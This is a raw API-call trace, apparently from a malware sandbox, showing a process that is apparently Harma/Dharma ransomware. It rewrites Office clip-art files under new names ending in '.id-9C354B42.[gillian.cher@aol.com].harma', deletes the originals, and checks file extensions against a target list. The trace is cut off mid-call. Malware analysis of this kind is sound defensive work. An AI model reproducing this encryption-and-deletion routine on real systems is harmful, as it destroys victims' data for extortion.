1 [0167.070] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.070] SetEndOfFile (hFile=0x348) returned 1 [0167.072] CloseHandle (hObject=0x348) returned 1 [0167.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0167.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.073] lstrlenW (lpString=".doc") returned 4 [0167.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.073] lstrlenW (lpString=".docx") returned 5 [0167.074] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.074] lstrlenW (lpString=".pdf") returned 4 [0167.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.074] lstrlenW (lpString=".xls") returned 4 [0167.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.074] lstrlenW (lpString=".xlsx") returned 5 [0167.074] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.074] lstrlenW (lpString=".ppt") returned 4 [0167.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.074] lstrlenW (lpString=".zip") returned 4 [0167.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.074] lstrlenW (lpString=".rar") returned 4 [0167.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.074] lstrlenW (lpString=".bz2") returned 4 [0167.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.074] lstrlenW (lpString=".7z") returned 3 [0167.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.074] lstrlenW (lpString=".dbf") returned 4 [0167.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.074] lstrlenW (lpString=".1cd") returned 4 [0167.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.074] lstrlenW (lpString=".jpg") returned 4 [0167.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.075] lstrlenW (lpString=".doc") returned 4 [0167.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.075] lstrlenW (lpString=".docx") returned 5 [0167.075] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.075] lstrlenW (lpString=".pdf") returned 4 [0167.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.075] lstrlenW (lpString=".xls") returned 4 [0167.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.075] lstrlenW (lpString=".xlsx") returned 5 [0167.075] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.075] lstrlenW (lpString=".ppt") returned 4 [0167.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.075] lstrlenW (lpString=".zip") returned 4 [0167.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.075] lstrlenW (lpString=".rar") returned 4 [0167.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.075] lstrlenW (lpString=".bz2") returned 4 [0167.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.075] lstrlenW (lpString=".7z") returned 3 [0167.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.075] lstrlenW (lpString=".dbf") returned 4 [0167.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.075] lstrlenW (lpString=".1cd") returned 4 [0167.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0167.075] lstrlenW (lpString=".jpg") returned 4 [0167.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.076] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.076] lstrlenW (lpString="J0105244.WMF") returned 12 [0167.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0167.076] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=11228) returned 1 [0167.076] CloseHandle (hObject=0x348) returned 1 [0167.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 0x20 [0167.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0167.077] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.077] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.078] GetLastError () returned 0x0 [0167.078] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2bdc, lpOverlapped=0x0) returned 1 [0167.145] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0167.147] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0167.147] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.147] SetEndOfFile (hFile=0x330) returned 1 [0167.147] CloseHandle (hObject=0x330) returned 1 [0167.147] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.147] SetEndOfFile (hFile=0x348) returned 1 [0167.150] CloseHandle (hObject=0x348) returned 1 [0167.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0167.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.421] lstrlenW (lpString=".doc") returned 4 [0167.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.421] lstrlenW (lpString=".docx") returned 5 [0167.421] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.421] lstrlenW (lpString=".pdf") returned 4 [0167.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.421] lstrlenW (lpString=".xls") returned 4 [0167.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.421] lstrlenW (lpString=".xlsx") returned 5 [0167.421] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.421] lstrlenW (lpString=".ppt") returned 4 [0167.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.421] lstrlenW (lpString=".zip") returned 4 [0167.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.421] lstrlenW (lpString=".rar") returned 4 [0167.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.421] lstrlenW (lpString=".bz2") returned 4 [0167.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.421] lstrlenW (lpString=".7z") returned 3 [0167.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.421] lstrlenW (lpString=".dbf") returned 4 [0167.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.422] lstrlenW (lpString=".1cd") returned 4 [0167.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.422] lstrlenW (lpString=".jpg") returned 4 [0167.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.422] lstrlenW (lpString=".doc") returned 4 [0167.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.422] lstrlenW (lpString=".docx") returned 5 [0167.422] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.422] lstrlenW (lpString=".pdf") returned 4 [0167.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.422] lstrlenW (lpString=".xls") returned 4 [0167.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.422] lstrlenW (lpString=".xlsx") returned 5 [0167.422] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.422] lstrlenW (lpString=".ppt") returned 4 [0167.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.422] lstrlenW (lpString=".zip") returned 4 [0167.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.422] lstrlenW (lpString=".rar") returned 4 [0167.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.423] lstrlenW (lpString=".bz2") returned 4 [0167.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.423] lstrlenW (lpString=".7z") returned 3 [0167.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.423] lstrlenW (lpString=".dbf") returned 4 [0167.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.423] lstrlenW (lpString=".1cd") returned 4 [0167.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0167.423] lstrlenW (lpString=".jpg") returned 4 [0167.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.423] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.423] lstrlenW (lpString="J0105276.WMF") returned 12 [0167.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0167.443] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=19240) returned 1 [0167.443] CloseHandle (hObject=0x340) returned 1 [0167.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 0x20 [0167.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0167.444] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.444] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0167.445] GetLastError () returned 0x0 [0167.445] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4b28, lpOverlapped=0x0) returned 1 [0167.483] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4b30, lpOverlapped=0x0) returned 1 [0167.485] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0167.485] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.485] SetEndOfFile (hFile=0x328) returned 1 [0167.485] CloseHandle (hObject=0x328) returned 1 [0167.485] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.485] SetEndOfFile (hFile=0x340) returned 1 [0167.488] CloseHandle (hObject=0x340) returned 1 [0167.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0167.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.556] lstrlenW (lpString=".doc") returned 4 [0167.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.556] lstrlenW (lpString=".docx") returned 5 [0167.556] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.556] lstrlenW (lpString=".pdf") returned 4 [0167.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.556] lstrlenW (lpString=".xls") returned 4 [0167.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.556] lstrlenW (lpString=".xlsx") returned 5 [0167.556] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.556] lstrlenW (lpString=".ppt") returned 4 [0167.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.556] lstrlenW (lpString=".zip") returned 4 [0167.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.557] lstrlenW (lpString=".rar") returned 4 [0167.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.557] lstrlenW (lpString=".bz2") returned 4 [0167.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.557] lstrlenW (lpString=".7z") returned 3 [0167.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.557] lstrlenW (lpString=".dbf") returned 4 [0167.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.557] lstrlenW (lpString=".1cd") returned 4 [0167.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.557] lstrlenW (lpString=".jpg") returned 4 [0167.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.557] lstrlenW (lpString=".doc") returned 4 [0167.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.557] lstrlenW (lpString=".docx") returned 5 [0167.557] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.557] lstrlenW (lpString=".pdf") returned 4 [0167.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.557] lstrlenW (lpString=".xls") returned 4 [0167.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.557] lstrlenW (lpString=".xlsx") returned 5 [0167.558] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.558] lstrlenW (lpString=".ppt") returned 4 [0167.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.558] lstrlenW (lpString=".zip") returned 4 [0167.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.558] lstrlenW (lpString=".rar") returned 4 [0167.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.558] lstrlenW (lpString=".bz2") returned 4 [0167.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.558] lstrlenW (lpString=".7z") returned 3 [0167.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.558] lstrlenW (lpString=".dbf") returned 4 [0167.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.558] lstrlenW (lpString=".1cd") returned 4 [0167.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0167.558] lstrlenW (lpString=".jpg") returned 4 [0167.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.558] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.558] lstrlenW (lpString="J0105288.WMF") returned 12 [0167.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.559] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=15832) returned 1 [0167.559] CloseHandle (hObject=0x384) returned 1 [0167.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 0x20 [0167.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.560] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.560] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.561] GetLastError () returned 0x0 [0167.561] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3dd8, lpOverlapped=0x0) returned 1 [0167.667] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3de0, lpOverlapped=0x0) returned 1 [0167.668] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0167.668] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.668] SetEndOfFile (hFile=0x378) returned 1 [0167.668] CloseHandle (hObject=0x378) returned 1 [0167.669] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.669] SetEndOfFile (hFile=0x384) returned 1 [0167.671] CloseHandle (hObject=0x384) returned 1 [0167.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0167.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.742] lstrlenW (lpString=".doc") returned 4 [0167.742] lstrcmpiW 